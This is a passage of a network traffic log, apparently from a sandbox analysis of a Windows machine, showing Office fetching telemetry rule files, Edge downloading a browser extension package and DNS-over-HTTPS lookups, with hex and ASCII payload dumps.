2024-11-17 09:07:36 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:36 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:36 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: e36af508-601e-0001-7d3a-36faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090736Z-1866b5c5fbbkcpv2hC1DFWf1yc000000042000000000epf2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:36 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.6	49894	142.250.186.65	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:36 UTC	594	OUT	GET /crx/blobs/AW50ZFuKxXfmS97pgdN117JdnzteDOW0nOxXPbIMSOJi_zMXlj_Y84pRZgGX1_WSw7i6yKhrqpdS319KewJbpE_4ZxBd62lsUferdiEuq7Yg9JR92C5gtrLldrMl4JgnY0IAxlKa5RR9kAwB758lMbnQOIDqR06lx1aH/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 09:07:37 UTC	566	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135771 X-GUploader-UploadID: AFiumC6BqkIlHmKK_jc3AgzHFXfK0a5rXV-PbheFgVcSVLB6UXrgSLSh7NdNrfaB6I78yqupXiQ X-Goog-Hash: crc32c=5YFIVw== Server: UploadServer Date: Sat, 16 Nov 2024 17:26:51 GMT Expires: Sun, 16 Nov 2025 17:26:51 GMT Cache-Control: public, max-age=31536000 Age: 56445 Last-Modified: Tue, 22 Oct 2024 20:33:19 GMT ETag: a1239f8c_b608f476_b1045d58_830b10c8_3ed9cb2d Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-17 09:07:37 UTC	812	IN	Data Raw: 43 72 32 34 03 00 00 00 e2 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-17 09:07:37 UTC	1378	IN	Data Raw: 5a f7 ba 97 f1 3f fe f5 43 56 d7 f2 f3 3c 8c e7 4b ff e3 ef 3f c6 cf aa aa f3 6b fd 97 a1 fa fc cb e9 ac aa 1f 7f fd 71 3d bf f7 95 fc 59 5e fa b1 ea c7 1f 7f ff d7 8f 21 7f a8 4b 2e f5 e7 ab 47 d8 14 a6 6d 08 6e 1b a9 59 d7 a5 59 ab f2 b1 7f e2 d6 f5 9c 75 d3 57 66 8e a7 d2 54 4f 22 d9 3f a1 dd 8b 8d ce f7 b3 f0 55 2f 52 64 ec 9b cb 59 7f be 8e 1a 6a ee bf ff de a9 ab 48 a3 f3 51 8d bf ec 7b b7 96 fe fb f9 78 de 4f 51 f3 7e 2b 7d bb ff fe 4c d9 39 5f 12 3a 97 2c 45 97 ef ef 0b 13 71 f1 30 26 ce df 1f 49 3b 62 c4 e0 48 bb b1 11 3e ea f2 8e 02 39 b3 7d 09 42 84 80 d8 92 2e 7c e4 41 b8 a9 7c 61 8b 47 e8 1c 82 eb b9 f4 a1 91 6f f7 4f 7b e5 5c 0b 13 d5 85 cf e6 83 09 bb 83 09 54 69 a1 5a 98 fa ba 1b e6 c2 dc 9c 0f db f0 51 98 ce ef f3 fc 7e b6 70 ca 3d d5 33 Data Ascii: Z?CV<K?kq=Y^!K.GmnYYuWfTO"?U/RdYjHQ{xOQ~+}L9_:,Eq0&I;bH>9}B.\|A\|aGoO{\TiZQ~p=3
2024-11-17 09:07:37 UTC	1378	IN	Data Raw: d1 78 a4 43 22 82 21 af 78 ed e5 3b 17 31 63 f2 12 16 6f 58 13 8a ac 6b 1f 08 96 b6 8e 59 b4 c8 5e 7b ff 95 e3 e3 6c 66 93 48 75 bd 57 d8 44 86 61 51 06 73 e9 21 bf d8 c1 38 0f 10 8e 94 67 c9 ae de 62 0f 6a 0d 08 71 f9 00 01 36 e4 d7 e2 f8 fd 7e ad e7 de 90 39 1c a3 5e 29 61 4c ee 81 a2 7b 44 c7 8e 2a b9 2d 76 d2 4b 76 32 2c a9 88 31 c0 6e d9 6b 8d a6 5a 8f 18 9d a2 60 79 ed cb ff 87 06 97 0d 1e 32 a3 56 32 10 9f b9 a9 d2 c4 8b 46 12 b8 5e dc 88 5e 98 61 86 3b 1d 0a 96 7b 16 9e c8 68 27 de 4a 05 5d 6c ca cd 72 ee c9 b5 fc 47 ed 73 37 d8 17 1e 9a eb 56 7a a1 49 00 ec 50 20 44 6e 0c 07 32 6b 0d f0 31 8f 82 17 33 36 ef 77 16 e0 38 a3 78 57 75 ef f7 45 fe d6 da dc 1b 3c a4 60 9b 5a c3 ab 54 de 7c 84 75 4b 00 a2 d8 aa 43 dd 63 24 a2 05 b3 ee 75 a8 ae 07 7e 6c Data Ascii: xC"!x;1coXkY^{lfHuWDaQs!8gbjq6~9^)aL{D*-vKv2,1nkZ`y2V2F^^a;{h'J]lrGs7VzIP Dn2k136w8xWuE<`ZT\|uKCc$u~l
2024-11-17 09:07:37 UTC	1378	IN	Data Raw: f6 8f 48 d5 27 4c 9d 21 67 cf 13 d5 fd 28 ef 16 fb ab 5b b1 72 6f 45 f7 8a 4f da b3 e7 94 c8 03 e1 ba 8f ea 98 8d ad 70 5b 75 d3 db 31 31 1e 65 20 3f 73 03 a7 8c c0 5d 02 07 98 cf a2 15 9d ee 3b 96 d8 5b 6e bd d6 e7 1c e9 c6 a6 3c ec 04 df 03 02 d8 07 6a 07 4f 70 bb e6 0d 44 84 8e 31 f6 ed 1b e9 6a c5 3d 68 26 0c d9 55 07 3f b0 8e cd 25 f6 a5 bf 92 bd 1a 68 de 40 51 36 ee b9 e4 ce 81 50 6c c6 16 de 88 4e bc 66 c4 fd 22 da f5 e3 d6 a9 11 77 1e cc c8 00 69 9f 41 62 95 20 df bd 2c b1 bf 6b be 5b ba 52 77 ca c0 9b 04 7c b7 44 3b 68 e6 61 cf 76 78 4c 3a 74 24 9e d6 21 da de bf f7 1b 89 3f 5c 33 4b 7c e7 5f 9b f5 e1 23 f2 f7 8f ff 83 bf 91 02 97 ae 8d 7f 06 9c bd 4c 5d 83 7b e3 6b 6c 38 41 a1 10 8f 67 d6 26 30 9e 29 6c 6d ce c7 a7 68 e7 66 09 91 a0 a4 e8 82 d5 Data Ascii: H'L!g([roEOp[u11e ?s];[n<jOpD1j=h&U?%h@Q6PlNf"wiAb ,k[Rw\|D;havxL:t$!?\3K\|_#L]{kl8Ag&0)lmhf
2024-11-17 09:07:37 UTC	1378	IN	Data Raw: bd 21 33 d5 4d 7a 30 92 e6 a0 73 01 69 4f 6c e7 64 e7 06 c4 1f cd ca 43 29 99 d5 a9 e4 d2 27 1d 24 47 c6 70 b9 db 83 b8 ff e3 7b 43 fd 1c bd 60 8e 2a b8 9e 3b 74 be 19 0c 65 10 ff b7 71 9b 03 75 c2 bc 05 66 42 30 d4 bd 44 4c 1f e0 98 f8 e0 5e 51 d6 09 16 ee 62 8a 41 64 da 7a 3d 5a 33 a2 f1 1d 19 2a c9 80 f3 07 8d 29 4d f6 90 9d 6a f4 d8 56 61 85 9f 3a ce 4e 59 a7 6e a9 e5 ea 31 ff db f8 7b 43 fb aa 2b b5 c2 4c a8 10 57 3e 9d 12 73 e0 51 5f ef a3 40 64 48 ab 09 6b 6a 14 35 a1 2f 83 cb 26 d1 e4 cb 9d b8 cb 6e d2 3d 1d 90 fa 7e 9d 1e 6b cc d2 f8 7b 2e c6 37 f3 df 63 e9 ba ef fe 7d de f2 f4 a7 e7 2c 7f fb ee 20 7d 36 a6 a6 6a 7f 3b 2b 59 eb 18 b5 6f b9 8e 0b c1 c7 7b c1 1d 95 99 f6 ad e8 d4 b5 e8 6c ed 3f a7 af c2 af 3f 73 bf 3d ff ef 77 2d 1d cf 3d 1a be 73 Data Ascii: !3Mz0siOldC)'$Gp{C`;tequfB0DL^QbAdz=Z3)MjVa:NYn1{C+LW>sQ_@dHkj5/&n=~k{.7c}, }6j;+Yo{l??s=w-=s
2024-11-17 09:07:37 UTC	1378	IN	Data Raw: 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 76 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 50 03 fc 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 08 b1 f4 0b 14 db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 3d 6f dc 30 0c dd fb 2b 08 cf 46 70 fd 1c b2 05 08 d0 a1 45 53 a4 59 02 64 61 4e b4 23 48 a6 04 8a 72 72 08 f2 df 4b 9d 7d 08 ce e8 d0 45 03 45 be f7 f8 1e 5f bb bd 10 2a 31 3d 77 97 af dd 44 a5 e0 48 dd 65 f7 e7 c7 d5 ef 2b f8 75 7f 77 d7 bd f5 1d bd e4 88 8c ea 13 a7 61 88 9e c9 f9 82 8f 91 dc f9 d4 75 85 87 ba db d1 17 81 b5 ef 02 6e 26 70 15 66 1f 23 20 cf cb 37 3b 84 ef 29 8d 91 e0 3a 85 3a 11 2b 54 45 06 cf 4a c2 a4 35 e7 90 72 36 84 b1 3f 42 0e df 72 66 b4 ff a2 0b 44 8c 6c Data Ascii: !-_locales/sv/messages.jsonUTPf R=o0+FpESYdaN#HrrK}EE_*1=wDHe+uwaun&pf# 7;)::+TEJ5r6?BrfDl
2024-11-17 09:07:37 UTC	1378	IN	Data Raw: 4c 28 b9 28 68 15 81 3d 3a d0 47 7f 87 f5 aa c5 a0 2c 48 96 b4 9f 93 24 bf 74 ca 3b a4 a0 f9 6a e6 a1 cc 40 81 91 19 30 5d a1 39 7e 39 01 48 39 a0 4f 22 d8 2a e1 e0 08 be e7 cf 6d 6c b8 0b be c9 03 07 28 7d 6a dc e2 3f 42 98 78 2d d6 a1 b1 19 12 f8 68 b4 04 85 9d 97 35 1c 1b 0c 16 5f 55 b4 c5 fe ea 43 28 83 0e 40 08 bf 0d 79 16 7a c3 cf 26 b0 46 00 0e 4b 9e 50 f8 ed 3b 0e 8c 5d 3c 0b 64 ca 72 2e 90 41 1f b1 d4 e7 ed 22 33 dd 46 8d 4d 1a 99 c7 e4 99 3c 21 86 b1 e4 d2 54 27 cf df ef 91 4e 01 0d 30 81 96 55 96 37 4e 3d d0 01 5c b2 ca 55 80 04 ec aa e2 2a 73 90 6b ac 51 58 5b 6a 0a 34 8b b4 b7 4f b0 0d b9 c6 2c a1 85 38 3d c9 71 2f 07 ef 6d df 60 8f b9 82 8c 87 80 43 e8 d4 88 fe 62 9f b4 94 b9 d7 66 ac 7c 82 88 1d 51 d1 f9 61 37 fe 39 d8 0a 53 59 ae f5 66 32 Data Ascii: L((h=:G,H$t;j@0]9~9H9O"ml(}j?Bx-h5_UC(@yz&FKP;]<dr.A"3FM<!T'N0U7N=\UskQX[j4O,8=q/m`Cbf\|Qa79SYf2
2024-11-17 09:07:37 UTC	1378	IN	Data Raw: 5b 7b 7a c3 30 ec 7c ed 63 70 f3 2d c2 2b 61 1b 8f d7 00 1b e0 cd 2b ef 78 f7 a3 67 c0 39 32 a9 1f 80 6c 66 17 97 d6 80 80 69 32 ab bf c3 f0 d2 d1 02 c6 d1 d1 ca 7f 28 f3 d3 05 cf d7 e6 67 96 67 73 39 3b dd 9e 5f c5 2e 08 52 5b 60 e6 23 e4 24 80 17 de cf 8c 32 61 22 26 18 40 81 51 37 1a 3d e4 69 36 45 18 6c 38 96 b1 f8 bc 04 25 63 8c 69 6f 0b 8e 93 22 11 da 2b e2 2e dd 3c 66 df 7d 3c c4 05 36 71 e2 c9 b8 a6 7e 66 b3 9b 73 21 3a a7 95 67 38 d4 83 89 c3 d7 91 64 de c5 5b 01 f5 ff a5 13 58 78 d8 a8 54 25 22 24 d8 16 40 cd 81 70 5e c5 3b d8 dd 55 72 b8 9e d6 48 15 06 41 57 68 5b e8 27 30 b1 82 0f e8 09 d8 f8 24 0d ae 73 05 91 20 6f 32 84 0d f0 82 95 ca 25 80 50 f5 46 fa 49 1e 46 5e 38 4e d2 28 ef db ce 9f 18 54 a7 c3 53 4b c7 26 a2 ba e4 21 00 dd 3a a8 e3 88 Data Ascii: [{z0\|cp-+a+xg92lfi2(ggs9;_.R[`#$2a"&@Q7=i6El8%cio"+.<f}<6q~fs!:g8d[XxT%"$@p^;UrHAWh['0$s o2%PFIF^8N(TSK&!:
2024-11-17 09:07:37 UTC	1378	IN	Data Raw: a8 15 a1 54 1e 5a 8d 72 3d e2 47 40 31 01 b6 e2 e3 20 ba 53 87 b9 64 39 96 a9 1f 50 8d c3 df 89 4f 3c 44 83 14 ce e2 33 f3 a3 46 d1 e2 45 58 a7 2c f7 48 0a 04 81 50 14 d0 11 86 4d 66 e7 ff be d5 aa ce 18 47 ec d9 2c f8 22 13 e5 35 27 b7 b0 97 2a bf 2c 0b d7 07 48 d7 30 c9 86 93 1f b0 17 3e b8 b1 bc a7 01 17 51 9c 66 55 50 9a b0 bb 80 25 f5 6f 33 e1 cf d4 9d 1c 93 ba 54 72 a7 e2 f6 75 97 90 fe 6f d2 46 10 67 11 75 4c 7e d0 94 af e3 4d 5d b4 38 17 ad 83 c4 09 26 df 24 fb 10 6d 5d e5 56 f8 11 0d 2d bb f3 2c 35 9d 43 aa d3 dc cc 21 ae 95 db 49 63 90 e8 bb b5 a2 31 68 28 4f c1 46 84 c4 ae 85 65 77 6e 1d 5c 72 28 c5 cb d9 9f 0c 82 36 6a 85 c3 0c cb 86 67 50 98 fd a8 5e 6f c5 03 8b 54 f3 c2 30 f0 94 72 6d 96 45 e2 75 68 b3 3c 02 83 6b 79 2f ae 25 09 87 d3 41 99 Data Ascii: TZr=G@1 Sd9PO<D3FEX,HPMfG,"5'*,H0>QfUP%o3TruoFguL~M]8&$m]V-,5C!Ic1h(OFewn\r(6jgP^oT0rmEuh<ky/%A
2024-11-17 09:07:37 UTC	1378	IN	Data Raw: 02 18 e4 0f c3 f4 76 5f 5c be dd ce 6f 88 69 ac e4 50 fa ee 07 ab c8 a0 8b 52 e9 bb 55 6b fa 9f c6 22 3c 29 b7 da 31 d5 9e ae 5a b0 94 e9 7c 5c e7 66 a1 94 56 e8 81 c0 57 d2 a5 5b 41 6a 0e 92 60 dd 9b c4 c3 77 12 c5 dc 29 96 c5 76 0c 56 10 bf 85 d3 7f df 78 05 8d e2 78 fc 2e d0 e2 68 c5 5e ba e2 78 a2 f7 ae 74 a2 c9 5d 23 c5 a1 dd 77 87 05 87 09 52 cb 31 68 27 3d 4b 9d 65 b2 de 77 fd b1 ff 96 4d 3f 5e 60 b9 1e 38 a4 9e c8 b0 ea d5 db 24 51 55 05 52 b6 f2 27 f0 e4 fd 6c 75 91 a7 7f 43 1e 77 ee c0 54 0b 56 cd 31 4f 5e ee ea 9b de 9a b3 38 11 b7 da d9 f9 e5 0f 50 4b 07 08 fd 45 55 f9 17 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6d 6e 2f 6d 65 73 73 61 67 65 73 2e Data Ascii: v_\oiPRUk"<)1Z\|\fVW[Aj`w)vVxx.h^xt]#wR1h'=KewM?^`8$QUR'luCwTV1O^8PKEUPK!-_locales/mn/messages.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.6	49898	172.64.41.3	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:36 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-17 09:07:36 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-17 09:07:36 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 17 Nov 2024 09:07:36 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e3e924bc81b6ba3-DFW alt-svc: h3=":443"; ma=86400
2024-11-17 09:07:36 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 98 00 04 8e fa 72 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomr^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.6	49899	162.159.61.3	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:36 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-17 09:07:36 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-17 09:07:37 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 17 Nov 2024 09:07:36 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e3e924bef60e83f-DFW alt-svc: h3=":443"; ma=86400
2024-11-17 09:07:37 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 27 00 04 8e fa 71 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom'q^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.6	49897	162.159.61.3	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:36 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-17 09:07:36 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-17 09:07:37 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 17 Nov 2024 09:07:36 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e3e924befa66b49-DFW alt-svc: h3=":443"; ma=86400
2024-11-17 09:07:37 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 3c 00 04 8e fa 71 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom<q^)

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.6	49903	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:37 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:37 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:37 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: cfc1385c-801e-0083-58d2-37f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090737Z-16547b76f7f5b5tthC1DFWuk8400000002n000000000e8kq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:37 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.6	49902	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:37 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
